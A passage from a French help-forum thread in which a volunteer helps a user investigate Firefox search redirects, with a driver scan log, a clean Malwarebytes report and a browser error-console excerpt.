2011/01/14 11:53:35.0338	kbdhid          (ede59ec70e25c24581add1fbec7325f7) C:\Windows\system32\DRIVERS\kbdhid.sys
2011/01/14 11:53:35.0505	KSecDD          (86165728af9bf72d6442a894fdfb4f8b) C:\Windows\system32\Drivers\ksecdd.sys
2011/01/14 11:53:35.0805	lltdio          (d1c5883087a0c3f1344d9d55a44901f6) C:\Windows\system32\DRIVERS\lltdio.sys
2011/01/14 11:53:35.0977	LSI_FC          (a2262fb9f28935e862b4db46438c80d2) C:\Windows\system32\drivers\lsi_fc.sys
2011/01/14 11:53:36.0199	LSI_SAS         (30d73327d390f72a62f32c103daf1d6d) C:\Windows\system32\drivers\lsi_sas.sys
2011/01/14 11:53:36.0386	LSI_SCSI        (e1e36fefd45849a95f1ab81de0159fe3) C:\Windows\system32\drivers\lsi_scsi.sys
2011/01/14 11:53:36.0633	luafv           (8f5c7426567798e62a3b3614965d62cc) C:\Windows\system32\drivers\luafv.sys
2011/01/14 11:53:36.0820	LVPr2Mon        (1a7db7a00a4b0d8da24cd691a4547291) C:\Windows\system32\Drivers\LVPr2Mon.sys
2011/01/14 11:53:37.0264	LVUSBSta        (be5e104be263921d6842c555db6a5c23) C:\Windows\system32\drivers\LVUSBSta.sys
2011/01/14 11:53:37.0746	MBAMSwissArmy   (d68e165c3123aba3b1282eddb4213bd8) C:\Windows\system32\drivers\mbamswissarmy.sys
2011/01/14 11:53:38.0256	mdmxsdk         (0cea2d0d3fa284b85ed5b68365114f76) C:\Windows\system32\DRIVERS\mdmxsdk.sys
2011/01/14 11:53:38.0369	megasas         (d153b14fc6598eae8422a2037553adce) C:\Windows\system32\drivers\megasas.sys
2011/01/14 11:53:38.0711	mfeapfk         (84d59a3eddfb9438fb94f7f80d37859d) C:\Windows\system32\drivers\mfeapfk.sys
2011/01/14 11:53:39.0052	mfeavfk         (67e961988312b1a28d6f93357b0bf998) C:\Windows\system32\drivers\mfeavfk.sys
2011/01/14 11:53:39.0541	mfebopk         (19161b1796cf74a6a326abde309062ba) C:\Windows\system32\drivers\mfebopk.sys
2011/01/14 11:53:39.0887	mfefirek        (d5f89b4934960c70882924d992c6abfc) C:\Windows\system32\drivers\mfefirek.sys
2011/01/14 11:53:40.0314	mfehidk         (0efab2b91b27543fe589de700de07136) C:\Windows\system32\drivers\mfehidk.sys
2011/01/14 11:53:40.0622	mfenlfk         (b4022e16569bbd1a85e68e7e78e68880) C:\Windows\system32\DRIVERS\mfenlfk.sys
2011/01/14 11:53:40.0908	mferkdet        (c9eda1eada2ab6e34cd1a10c3a24ab25) C:\Windows\system32\drivers\mferkdet.sys
2011/01/14 11:53:41.0250	mferkdk         (41fe2f288e05a6c8ab85dd56770ffbad) C:\Windows\system32\drivers\mferkdk.sys
2011/01/14 11:53:41.0467	mfesmfk         (096b52ea918aa909ba5903d79e129005) C:\Windows\system32\drivers\mfesmfk.sys
2011/01/14 11:53:41.0882	mfewfpk         (183f32c79d1693170df3baecec611125) C:\Windows\system32\drivers\mfewfpk.sys
2011/01/14 11:53:42.0273	MHNDRV          (7f2f1d2815a6449d346fcccbc569fbd6) C:\Windows\system32\DRIVERS\mhndrv.sys
2011/01/14 11:53:42.0564	Modem           (e13b5ea0f51ba5b1512ec671393d09ba) C:\Windows\system32\drivers\modem.sys
2011/01/14 11:53:42.0903	monitor         (0a9bb33b56e294f686abb7c1e4e2d8a8) C:\Windows\system32\DRIVERS\monitor.sys
2011/01/14 11:53:43.0010	mouclass        (5bf6a1326a335c5298477754a506d263) C:\Windows\system32\DRIVERS\mouclass.sys
2011/01/14 11:53:43.0289	mouhid          (93b8d4869e12cfbe663915502900876f) C:\Windows\system32\DRIVERS\mouhid.sys
2011/01/14 11:53:43.0403	MountMgr        (bdafc88aa6b92f7842416ea6a48e1600) C:\Windows\system32\drivers\mountmgr.sys
2011/01/14 11:53:43.0725	mpio            (583a41f26278d9e0ea548163d6139397) C:\Windows\system32\drivers\mpio.sys
2011/01/14 11:53:43.0849	mpsdrv          (22241feba9b2defa669c8cb0a8dd7d2e) C:\Windows\system32\drivers\mpsdrv.sys
2011/01/14 11:53:44.0173	Mraid35x        (4fbbb70d30fd20ec51f80061703b001e) C:\Windows\system32\drivers\mraid35x.sys
2011/01/14 11:53:44.0555	MRxDAV          (82cea0395524aacfeb58ba1448e8325c) C:\Windows\system32\drivers\mrxdav.sys
2011/01/14 11:53:44.0969	mrxsmb          (454341e652bdf5e01b0f2140232b073e) C:\Windows\system32\DRIVERS\mrxsmb.sys
2011/01/14 11:53:45.0406	mrxsmb10        (2a4901aff069944fa945ed5bbf4dcde3) C:\Windows\system32\DRIVERS\mrxsmb10.sys
2011/01/14 11:53:45.0734	mrxsmb20        (28b3f1ab44bdd4432c041581412f17d9) C:\Windows\system32\DRIVERS\mrxsmb20.sys
2011/01/14 11:53:46.0056	msahci          (f0ec3a4e0693a34b148723b4da31668c) C:\Windows\system32\drivers\msahci.sys
2011/01/14 11:53:46.0455	msdsm           (3fc82a2ae4cc149165a94699183d3028) C:\Windows\system32\drivers\msdsm.sys
2011/01/14 11:53:46.0828	Msfs            (a9927f4a46b816c92f461acb90cf8515) C:\Windows\system32\drivers\Msfs.sys
2011/01/14 11:53:47.0337	msisadrv        (0f400e306f385c56317357d6dea56f62) C:\Windows\system32\drivers\msisadrv.sys
2011/01/14 11:53:47.0897	MSKSSRV         (d8c63d34d9c9e56c059e24ec7185cc07) C:\Windows\system32\drivers\MSKSSRV.sys
2011/01/14 11:53:48.0597	MSPCLOCK        (1d373c90d62ddb641d50e55b9e78d65e) C:\Windows\system32\drivers\MSPCLOCK.sys
2011/01/14 11:53:49.0168	MSPQM           (b572da05bf4e098d4bba3a4734fb505b) C:\Windows\system32\drivers\MSPQM.sys
2011/01/14 11:53:49.0416	MsRPC           (b49456d70555de905c311bcda6ec6adb) C:\Windows\system32\drivers\MsRPC.sys
2011/01/14 11:53:49.0600	mssmbios        (e384487cb84be41d09711c30ca79646c) C:\Windows\system32\DRIVERS\mssmbios.sys
2011/01/14 11:53:49.0920	MSTEE           (7199c1eec1e4993caf96b8c0a26bd58a) C:\Windows\system32\drivers\MSTEE.sys
2011/01/14 11:53:50.0365	Mup             (6a57b5733d4cb702c8ea4542e836b96c) C:\Windows\system32\Drivers\mup.sys
2011/01/14 11:53:51.0021	NativeWifiP     (85c44fdff9cf7e72a40dcb7ec06a4416) C:\Windows\system32\DRIVERS
wifi.sys
2011/01/14 11:53:51.0412	NDIS            (1357274d1883f68300aeadd15d7bbb42) C:\Windows\system32\drivers
dis.sys
2011/01/14 11:53:51.0879	NdisTapi        (0e186e90404980569fb449ba7519ae61) C:\Windows\system32\DRIVERS
distapi.sys
2011/01/14 11:53:51.0985	Ndisuio         (d6973aa34c4d5d76c0430b181c3cd389) C:\Windows\system32\DRIVERS
disuio.sys
2011/01/14 11:53:52.0309	NdisWan         (818f648618ae34f729fdb47ec68345c3) C:\Windows\system32\DRIVERS
diswan.sys
2011/01/14 11:53:52.0615	NDProxy         (71dab552b41936358f3b541ae5997fb3) C:\Windows\system32\drivers\NDProxy.sys
2011/01/14 11:53:52.0939	NetBIOS         (bcd093a5a6777cf626434568dc7dba78) C:\Windows\system32\DRIVERS
etbios.sys
2011/01/14 11:53:53.0067	netbt           (ecd64230a59cbd93c85f1cd1cab9f3f6) C:\Windows\system32\DRIVERS
etbt.sys
2011/01/14 11:53:53.0507	NETw3v32        (35d5458d9a1b26b2005abffbf4c1c5e7) C:\Windows\system32\DRIVERS\NETw3v32.sys
2011/01/14 11:53:54.0358	NETw4v32        (6522dd40a5f67ced020bd81b856613fb) C:\Windows\system32\DRIVERS\NETw4v32.sys
2011/01/14 11:53:55.0034	nfrd960         (2e7fb731d4790a1bc6270accefacb36e) C:\Windows\system32\drivers
frd960.sys
2011/01/14 11:53:55.0196	Npfs            (d36f239d7cce1931598e8fb90a0dbc26) C:\Windows\system32\drivers\Npfs.sys
2011/01/14 11:53:55.0466	NPF_devolo      (75ac610a7481cb1f343dc971249bcb19) C:\Windows\system32\drivers
pf_devolo.sys
2011/01/14 11:53:56.0116	nsiproxy        (609773e344a97410ce4ebf74a8914fcf) C:\Windows\system32\drivers
siproxy.sys
2011/01/14 11:53:56.0322	Ntfs            (6a4a98cee84cf9e99564510dda4baa47) C:\Windows\system32\drivers\Ntfs.sys
2011/01/14 11:53:56.0690	ntrigdigi       (e875c093aec0c978a90f30c9e0dfbb72) C:\Windows\system32\drivers
trigdigi.sys
2011/01/14 11:53:56.0825	Null            (c5dbbcda07d780bda9b685df333bb41e) C:\Windows\system32\drivers\Null.sys
2011/01/14 11:53:57.0132	nvraid          (e69e946f80c1c31c53003bfbf50cbb7c) C:\Windows\system32\drivers
vraid.sys
2011/01/14 11:53:57.0224	nvstor          (9e0ba19a28c498a6d323d065db76dffc) C:\Windows\system32\drivers
vstor.sys
2011/01/14 11:53:57.0539	nv_agp          (07c186427eb8fcc3d8d7927187f260f7) C:\Windows\system32\drivers
v_agp.sys
2011/01/14 11:53:58.0023	ohci1394        (6f310e890d46e246e0e261a63d9b36b4) C:\Windows\system32\DRIVERS\ohci1394.sys
2011/01/14 11:53:58.0361	Packet          (8f856dae19383bd69db444004d5d4f50) C:\Windows\system32\DRIVERS\packet.sys
2011/01/14 11:53:58.0474	Parport         (0fa9b5055484649d63c303fe404e5f4d) C:\Windows\system32\drivers\parport.sys
2011/01/14 11:53:58.0777	partmgr         (57389fa59a36d96b3eb09d0cb91e9cdc) C:\Windows\system32\drivers\partmgr.sys
2011/01/14 11:53:58.0866	Parvdm          (4f9a6a8a31413180d0fcb279ad5d8112) C:\Windows\system32\drivers\parvdm.sys
2011/01/14 11:53:59.0186	pci             (941dc1d19e7e8620f40bbc206981efdb) C:\Windows\system32\drivers\pci.sys
2011/01/14 11:53:59.0504	pciide          (20b869152448f80ac49cf10264e91f5e) C:\Windows\system32\drivers\pciide.sys
2011/01/14 11:54:00.0369	pcmcia          (e6f3fb1b86aa519e7698ad05e58b04e5) C:\Windows\system32\drivers\pcmcia.sys
2011/01/14 11:54:00.0758	PEAUTH          (6349f6ed9c623b44b52ea3c63c831a92) C:\Windows\system32\drivers\peauth.sys
2011/01/14 11:54:01.0131	pepifilter      (0896002d1efcd08859a41c9db34ad84c) C:\Windows\system32\DRIVERS\lv302af.sys
2011/01/14 11:54:01.0595	PID_08A0        (6b310de726e1a0defd66718a7f79b5d2) C:\Windows\system32\DRIVERS\LV302AV.SYS
2011/01/14 11:54:02.0186	PID_PEPI        (a7598e897da639e255ad4188fa398478) C:\Windows\system32\DRIVERS\LV302V32.SYS
2011/01/14 11:54:02.0955	PptpMiniport    (ecfffaec0c1ecd8dbc77f39070ea1db1) C:\Windows\system32\DRIVERSaspptp.sys
2011/01/14 11:54:03.0164	Processor       (0e3cef5d28b40cf273281d620c50700a) C:\Windows\system32\drivers\processr.sys
2011/01/14 11:54:03.0420	PSched          (99514faa8df93d34b5589187db3aa0ba) C:\Windows\system32\DRIVERS\pacer.sys
2011/01/14 11:54:03.0646	PxHelp20        (1962166e0ceb740704f30fa55ad3d509) C:\Windows\system32\Drivers\PxHelp20.sys
2011/01/14 11:54:04.0092	ql1080          (0a63fb54039eb5662433caba3b26dba7) C:\Windows\system32\DRIVERS\ql1080.sys
2011/01/14 11:54:04.0611	Ql10wnt         (6503449e1d43a0ff0201ad5cb1b8c706) C:\Windows\system32\DRIVERS\ql10wnt.sys
2011/01/14 11:54:05.0458	ql12160         (156ed0ef20c15114ca097a34a30d8a01) C:\Windows\system32\DRIVERS\ql12160.sys
2011/01/14 11:54:05.0681	ql1240          (70f016bebde6d29e864c1230a07cc5e6) C:\Windows\system32\DRIVERS\ql1240.sys
2011/01/14 11:54:05.0861	ql1280          (907f0aeea6bc451011611e732bd31fcf) C:\Windows\system32\DRIVERS\ql1280.sys
2011/01/14 11:54:06.0309	ql2300          (ccdac889326317792480c0a67156a1ec) C:\Windows\system32\drivers\ql2300.sys
2011/01/14 11:54:06.0705	ql40xx          (81a7e5c076e59995d54bc1ed3a16e60b) C:\Windows\system32\drivers\ql40xx.sys
2011/01/14 11:54:07.0016	QWAVEdrv        (9f5e0e1926014d17486901c88eca2db7) C:\Windows\system32\drivers\qwavedrv.sys
2011/01/14 11:54:07.0410	R300            (a6201fd4d96f7fa7db3ad609be60ff5c) C:\Windows\system32\DRIVERS\atikmdag.sys
2011/01/14 11:54:07.0726	RasAcd          (147d7f9c556d259924351feb0de606c3) C:\Windows\system32\DRIVERSasacd.sys
2011/01/14 11:54:07.0853	Rasl2tp         (a214adbaf4cb47dd2728859ef31f26b0) C:\Windows\system32\DRIVERSasl2tp.sys
2011/01/14 11:54:08.0186	RasPppoe        (509a98dd18af4375e1fc40bc175f1def) C:\Windows\system32\DRIVERSaspppoe.sys
2011/01/14 11:54:08.0284	RasSstp         (2005f4a1e05fa09389ac85840f0a9e4d) C:\Windows\system32\DRIVERSassstp.sys
2011/01/14 11:54:08.0650	rdbss           (b14c9d5b9add2f84f70570bbbfaa7935) C:\Windows\system32\DRIVERSdbss.sys
2011/01/14 11:54:08.0958	RDPCDD          (89e59be9a564262a3fb6c4f4f1cd9899) C:\Windows\system32\DRIVERS\RDPCDD.sys
2011/01/14 11:54:09.0335	rdpdr           (e8bd98d46f2ed77132ba927fccb47d8b) C:\Windows\system32\driversdpdr.sys
2011/01/14 11:54:09.0669	RDPENCDD        (9d91fe5286f748862ecffa05f8a0710c) C:\Windows\system32\driversdpencdd.sys
2011/01/14 11:54:10.0013	RDPWD           (30bfbdfb7f95559ede971f9ddb9a00ba) C:\Windows\system32\drivers\RDPWD.sys
2011/01/14 11:54:10.0420	rimmptsk        (7a6648b61661b1421ffab762e391e33f) C:\Windows\system32\DRIVERSimmptsk.sys
2011/01/14 11:54:10.0536	rimsptsk        (d0a35b7670aa3558eaab483f64446496) C:\Windows\system32\DRIVERSimsptsk.sys
2011/01/14 11:54:10.0967	rismxdp         (6c1f93c0760c9f79a1869d07233df39d) C:\Windows\system32\DRIVERSixdptsk.sys
2011/01/14 11:54:11.0357	rspndr          (9c508f4074a39e8b4b31d27198146fad) C:\Windows\system32\DRIVERSspndr.sys
2011/01/14 11:54:11.0701	s24trans        (2c0e9e777ab1849b43494626c1f308b5) C:\Windows\system32\DRIVERS\s24trans.sys
2011/01/14 11:54:11.0959	sbp2port        (3ce8f073a557e172b330109436984e30) C:\Windows\system32\drivers\sbp2port.sys
2011/01/14 11:54:12.0321	sdbus           (8f36b54688c31eed4580129040c6a3d3) C:\Windows\system32\DRIVERS\sdbus.sys
2011/01/14 11:54:12.0696	secdrv          (90a3935d05b494a5a39d37e71f09a677) C:\Windows\system32\drivers\secdrv.sys
2011/01/14 11:54:12.0822	Serenum         (68e44e331d46f0fb38f0863a84cd1a31) C:\Windows\system32\drivers\serenum.sys
2011/01/14 11:54:13.0121	Serial          (c70d69a918b178d3c3b06339b40c2e1b) C:\Windows\system32\drivers\serial.sys
2011/01/14 11:54:13.0365	sermouse        (8af3d28a879bf75db53a0ee7a4289624) C:\Windows\system32\drivers\sermouse.sys
2011/01/14 11:54:13.0585	sffdisk         (3efa810bdca87f6ecc24f9832243fe86) C:\Windows\system32\DRIVERS\sffdisk.sys
2011/01/14 11:54:13.0833	sffp_mmc        (8fd08a310645fe872eeec6e08c6bf3ee) C:\Windows\system32\drivers\sffp_mmc.sys
2011/01/14 11:54:14.0028	sffp_sd         (9f66a46c55d6f1ccabc79bb7afccc545) C:\Windows\system32\DRIVERS\sffp_sd.sys
2011/01/14 11:54:14.0390	sfloppy         (c33bfbd6e9e41fcd9ffef9729e9faed6) C:\Windows\system32\DRIVERS\sfloppy.sys
2011/01/14 11:54:14.0585	sisagp          (d2a595d6eebeeaf4334f8e50efbc9931) C:\Windows\system32\drivers\sisagp.sys
2011/01/14 11:54:14.0922	SiSRaid2        (cedd6f4e7d84e9f98b34b3fe988373aa) C:\Windows\system32\drivers\sisraid2.sys
2011/01/14 11:54:15.0178	SiSRaid4        (df843c528c4f69d12ce41ce462e973a7) C:\Windows\system32\drivers\sisraid4.sys
2011/01/14 11:54:15.0458	Smb             (7b75299a4d201d6a6533603d6914ab04) C:\Windows\system32\DRIVERS\smb.sys
2011/01/14 11:54:15.0629	SONYPVU1        (290dda37015eaeeff76b8abfa9dae802) C:\Windows\system32\DRIVERS\SONYPVU1.SYS
2011/01/14 11:54:15.0978	Sparrow         (83c0f71f86d3bdaf915685f3d568b20e) C:\Windows\system32\DRIVERS\sparrow.sys
2011/01/14 11:54:16.0118	spldr           (7aebdeef071fe28b0eef2cdd69102bff) C:\Windows\system32\drivers\spldr.sys
2011/01/14 11:54:16.0440	srv             (ff3cbc13db84d81f56931bc922cc37c4) C:\Windows\system32\DRIVERS\srv.sys
2011/01/14 11:54:16.0753	srv2            (d15959d9f69f0d39a0153e9c244f20dd) C:\Windows\system32\DRIVERS\srv2.sys
2011/01/14 11:54:17.0026	srvnet          (faa0d553a49e85008c6bb3781987c574) C:\Windows\system32\DRIVERS\srvnet.sys
2011/01/14 11:54:17.0441	STHDA           (9cea131b5eb0ea653f6b3ea80b54956d) C:\Windows\system32\drivers\stwrt.sys
2011/01/14 11:54:17.0874	swenum          (7ba58ecf0c0a9a69d44b3dca62becf56) C:\Windows\system32\DRIVERS\swenum.sys
2011/01/14 11:54:17.0993	symc810         (1ff3217614018630d0a6758630fc698c) C:\Windows\system32\DRIVERS\symc810.sys
2011/01/14 11:54:18.0368	Symc8xx         (192aa3ac01df071b541094f251deed10) C:\Windows\system32\drivers\symc8xx.sys
2011/01/14 11:54:18.0461	Sym_hi          (8c8eb8c76736ebaf3b13b633b2e64125) C:\Windows\system32\drivers\sym_hi.sys
2011/01/14 11:54:18.0767	Sym_u3          (8072af52b5fd103bbba387a1e49f62cb) C:\Windows\system32\drivers\sym_u3.sys
2011/01/14 11:54:19.0040	SynTP           (1f5192248a364d4ab68db063d18a2139) C:\Windows\system32\DRIVERS\SynTP.sys
2011/01/14 11:54:19.0380	Tcpip           (a474879afa4a596b3a531f3e69730dbf) C:\Windows\system32\drivers	cpip.sys
2011/01/14 11:54:19.0746	Tcpip6          (a474879afa4a596b3a531f3e69730dbf) C:\Windows\system32\DRIVERS	cpip.sys
2011/01/14 11:54:20.0117	tcpipreg        (608c345a255d82a6289c2d468eb41fd7) C:\Windows\system32\drivers	cpipreg.sys
2011/01/14 11:54:20.0329	TDPIPE          (5dcf5e267be67a1ae926f2df77fbcc56) C:\Windows\system32\drivers	dpipe.sys
2011/01/14 11:54:20.0532	TDTCP           (389c63e32b3cefed425b61ed92d3f021) C:\Windows\system32\drivers	dtcp.sys
2011/01/14 11:54:20.0702	tdx             (76b06eb8a01fc8624d699e7045303e54) C:\Windows\system32\DRIVERS	dx.sys
2011/01/14 11:54:21.0017	TermDD          (3cad38910468eab9a6479e2f01db43c7) C:\Windows\system32\DRIVERS	ermdd.sys
2011/01/14 11:54:21.0165	TosIde          (b411668322c3bf4e690888706b999679) C:\Windows\system32\DRIVERS	oside.sys
2011/01/14 11:54:21.0635	tssecsrv        (dcf0f056a2e4f52287264f5ab29cf206) C:\Windows\system32\DRIVERS	ssecsrv.sys
2011/01/14 11:54:21.0974	tunmp           (caecc0120ac49e3d2f758b9169872d38) C:\Windows\system32\DRIVERS	unmp.sys
2011/01/14 11:54:22.0306	tunnel          (300db877ac094feab0be7688c3454a9c) C:\Windows\system32\DRIVERS	unnel.sys
2011/01/14 11:54:22.0432	uagp35          (c3ade15414120033a36c0f293d4a4121) C:\Windows\system32\drivers\uagp35.sys
2011/01/14 11:54:22.0745	udfs            (d9728af68c4c7693cb100b8441cbdec6) C:\Windows\system32\DRIVERS\udfs.sys
2011/01/14 11:54:23.0105	uliagpkx        (75e6890ebfce0841d3291b02e7a8bdb0) C:\Windows\system32\drivers\uliagpkx.sys
2011/01/14 11:54:23.0327	uliahci         (3cd4ea35a6221b85dcc25daa46313f8d) C:\Windows\system32\drivers\uliahci.sys
2011/01/14 11:54:23.0524	UlSata          (8514d0e5cd0534467c5fc61be94a569f) C:\Windows\system32\drivers\ulsata.sys
2011/01/14 11:54:23.0704	ulsata2         (38c3c6e62b157a6bc46594fada45c62b) C:\Windows\system32\drivers\ulsata2.sys
2011/01/14 11:54:23.0895	ultra           (1b698a51cd528d8da4ffaed66dfc51b9) C:\Windows\system32\DRIVERS\ultra.sys
2011/01/14 11:54:24.0274	umbus           (32cff9f809ae9aed85464492bf3e32d2) C:\Windows\system32\DRIVERS\umbus.sys
2011/01/14 11:54:24.0405	usbaudio        (32db9517628ff0d070682aab61e688f0) C:\Windows\system32\drivers\usbaudio.sys
2011/01/14 11:54:24.0722	usbccgp         (caf811ae4c147ffcd5b51750c7f09142) C:\Windows\system32\DRIVERS\usbccgp.sys
2011/01/14 11:54:24.0913	usbcir          (e9476e6c486e76bc4898074768fb7131) C:\Windows\system32\drivers\usbcir.sys
2011/01/14 11:54:25.0256	usbehci         (79e96c23a97ce7b8f14d310da2db0c9b) C:\Windows\system32\DRIVERS\usbehci.sys
2011/01/14 11:54:25.0381	usbhub          (4673bbcb006af60e7abddbe7a130ba42) C:\Windows\system32\DRIVERS\usbhub.sys
2011/01/14 11:54:25.0696	usbohci         (38dbc7dd6cc5a72011f187425384388b) C:\Windows\system32\drivers\usbohci.sys
2011/01/14 11:54:25.0813	usbprint        (e75c4b5269091d15a2e7dc0b6d35f2f5) C:\Windows\system32\DRIVERS\usbprint.sys
2011/01/14 11:54:26.0160	usbscan         (a508c9bd8724980512136b039bba65e9) C:\Windows\system32\DRIVERS\usbscan.sys
2011/01/14 11:54:26.0273	USBSTOR         (be3da31c191bc222d9ad503c5224f2ad) C:\Windows\system32\DRIVERS\USBSTOR.SYS
2011/01/14 11:54:26.0596	usbuhci         (814d653efc4d48be3b04a307eceff56f) C:\Windows\system32\DRIVERS\usbuhci.sys
2011/01/14 11:54:26.0731	vga             (7d92be0028ecdedec74617009084b5ef) C:\Windows\system32\DRIVERS\vgapnp.sys
2011/01/14 11:54:27.0097	VgaSave         (2e93ac0a1d8c79d019db6c51f036636c) C:\Windows\System32\drivers\vga.sys
2011/01/14 11:54:27.0272	viaagp          (045d9961e591cf0674a920b6ba3ba5cb) C:\Windows\system32\drivers\viaagp.sys
2011/01/14 11:54:27.0611	ViaC7           (56a4de5f02f2e88182b0981119b4dd98) C:\Windows\system32\drivers\viac7.sys
2011/01/14 11:54:27.0721	viaide          (58c8d5ac5c3eef40e7e704a5ced7987d) C:\Windows\system32\drivers\viaide.sys
2011/01/14 11:54:28.0024	volmgr          (69503668ac66c77c6cd7af86fbdf8c43) C:\Windows\system32\drivers\volmgr.sys
2011/01/14 11:54:28.0367	volmgrx         (23e41b834759917bfd6b9a0d625d0c28) C:\Windows\system32\drivers\volmgrx.sys
2011/01/14 11:54:28.0690	volsnap         (147281c01fcb1df9252de2a10d5e7093) C:\Windows\system32\drivers\volsnap.sys
2011/01/14 11:54:29.0011	vsmraid         (d984439746d42b30fc65a4c3546c6829) C:\Windows\system32\drivers\vsmraid.sys
2011/01/14 11:54:29.0139	WacomPen        (48dfee8f1af7c8235d4e626f0c4fe031) C:\Windows\system32\drivers\wacompen.sys
2011/01/14 11:54:29.0446	Wanarp          (55201897378cca7af8b5efd874374a26) C:\Windows\system32\DRIVERS\wanarp.sys
2011/01/14 11:54:29.0476	Wanarpv6        (55201897378cca7af8b5efd874374a26) C:\Windows\system32\DRIVERS\wanarp.sys
2011/01/14 11:54:29.0804	Wd              (afc5ad65b991c1e205cf25cfdbf7a6f4) C:\Windows\system32\drivers\wd.sys
2011/01/14 11:54:29.0946	Wdf01000        (b6f0a7ad6d4bd325fbcd8bac96cd8d96) C:\Windows\system32\drivers\Wdf01000.sys
2011/01/14 11:54:30.0421	winachsf        (6d2350bb6e77e800fc4be4e5b7a2e89a) C:\Windows\system32\DRIVERS\HSX_CNXT.sys
2011/01/14 11:54:31.0150	WmiAcpi         (2e7255d172df0b8283cdfb7b433b864e) C:\Windows\system32\DRIVERS\wmiacpi.sys
2011/01/14 11:54:31.0333	WpdUsb          (de9d36f91a4df3d911626643debf11ea) C:\Windows\system32\DRIVERS\wpdusb.sys
2011/01/14 11:54:31.0651	ws2ifsl         (e3a3cb253c0ec2494d4a61f5e43a389c) C:\Windows\system32\drivers\ws2ifsl.sys
2011/01/14 11:54:31.0802	wsppkt          (22068dca607f93bf5fd5926390fb478f) C:\Windows\system32\DRIVERS\wsp_pkt.sys
2011/01/14 11:54:32.0194	WudfPf          (13b5f255e90624a5ba0441d39cfb6be2) C:\Windows\system32\DRIVERS\WudfPf.sys
2011/01/14 11:54:32.0314	WudfRd          (ac13cb789d93412106b0fb6c7eb2bcb6) C:\Windows\system32\DRIVERS\wudfrd.sys
2011/01/14 11:54:32.0618	XAudio          (5a7ff9a18ff6d7e0527fe3abf9204ef8) C:\Windows\system32\DRIVERS\xaudio.sys
2011/01/14 11:54:32.0736	================================================================================
2011/01/14 11:54:32.0736	Scan finished
2011/01/14 11:54:32.0736	================================================================================

Malekal_morte- · Answer

Bonne nouvelle.
Je dois bouger, je te répondrai plus tard.

j'ai un message m'indiquant que des programmes au démarrage de windows sont bloqués, que faut-il faire? surtout que j'ai Mc afee 

Ca doit être une fonction de Windows Defender.


Refais un Malwarebyte en le mettant à jour.
Ca mange pas de pain.
Refais un scan OTL comme là : https://forums.commentcamarche.net/forum/affich-20508371-virus-win32-dracur-c-cryp#1
Poste le rapport cijoint.

Ca donne quoi les redirections lors des recherches Google ?

cricri10 · Answer

j'ai refais un Malwayrebyte et ca n'a rien donné: ouf
Malwarebytes' Anti-Malware 1.50.1.1100
www.malwarebytes.org

Version de la base de données: 5520

Windows 6.0.6002 Service Pack 2
Internet Explorer 8.0.6001.18999

14/01/2011 21:55:25
mbam-log-2011-01-14 (21-55-25).txt

Type d'examen: Examen rapide
Elément(s) analysé(s): 176336
Temps écoulé: 20 minute(s), 29 seconde(s)

Processus mémoire infecté(s): 0
Module(s) mémoire infecté(s): 0
Clé(s) du Registre infectée(s): 0
Valeur(s) du Registre infectée(s): 0
Elément(s) de données du Registre infecté(s): 0
Dossier(s) infecté(s): 0
Fichier(s) infecté(s): 0

Processus mémoire infecté(s):
(Aucun élément nuisible détecté)

Module(s) mémoire infecté(s):
(Aucun élément nuisible détecté)

Clé(s) du Registre infectée(s):
(Aucun élément nuisible détecté)

Valeur(s) du Registre infectée(s):
(Aucun élément nuisible détecté)

Elément(s) de données du Registre infecté(s):
(Aucun élément nuisible détecté)

Dossier(s) infecté(s):
(Aucun élément nuisible détecté)

Fichier(s) infecté(s):
(Aucun élément nuisible détecté)


je n'ai que le rapport OTL texte, je n'ai pas eu de EXTRA txt.
rapport:
http://www.cijoint.fr/cjlink.php?file=cj201101/cijDtiqg3m.txt

au niveau des redirections des pages googles, c'est toujours pareil :-(, je suis redirigé vers une autre page "bing" ou autre pas très claire.

Malekal_morte- · Answer

C'est pas très clair tes histoires de redirections.
C'est quoi ton histoire de bing ?
bing c'est le moteur de recherche de Google.

T'as quoi comme page de démarrage ?
pucuy.com ?
msn (donc bing) ?

Ensuite tes redirections, c'est sur Internet Explorer ou Firefox, ou les deux ?
Sur Firefox, tu utilises le moteur de recherche en haut à droite ou tu tappes sur Google?

cricri10 · Answer

bonjour
en effet lorsque je vais sur google, je tape par ex "commentcamarche", la page s'ouvre avec la liste  des sites "commentcamarche", et lorsque je clique sur l'une d'entre-elle, je suis redirigé sur tout sauf le lien: bing.fr, jump avec topprix.net, etc ...
D'un moment à l'autre, je n'ai pas toujours le même lien
De plus lorsque je veux revenir en arrière, sur la page google, c'est très tenace, il faut cliquer plusieurs fois
Ma page de démarrage est Alice
Les redirections ne se font que sur firefox, pas internet explorer.
Oui, j'utilise le moteur de recherche en haut a droite.

cricri10 · Answer

je viens de découvrir qlque chose: dans la console d'erreur de firefox, j'ai tout une  liste de messages de ce genre là qui s'affiche 
Attention : le gestionnaire de protocoles pour « sacore » n'annonce pas de politique de sécurité. Bien que le chargement de tels protocoles soit autorisé pour le moment, ceci est déconseillé. Veuillez consulter la documentation de nsIProtocolHandler.idl. 
Avertissement : Propriété « text-overflow » inconnue.  Déclaration abandonnée. 
Fichier Source : https://www.google.fr/search?q=comment+ca+marche&ie=utf-8&oe=utf-8&aq=t&rls=com.google:fr:official&client=firefox-a&gws_rd=ssl 
Ligne : 7 
Erreur : setting a property that has only a getter 
Fichier Source : http://74.50.117.107/js/js.php?u=3cb32be1-a617-40e2-b967-fb89d5c109eb&a=200&i=111&s=0 
Ligne : 61 avec comme fichier suivant: 
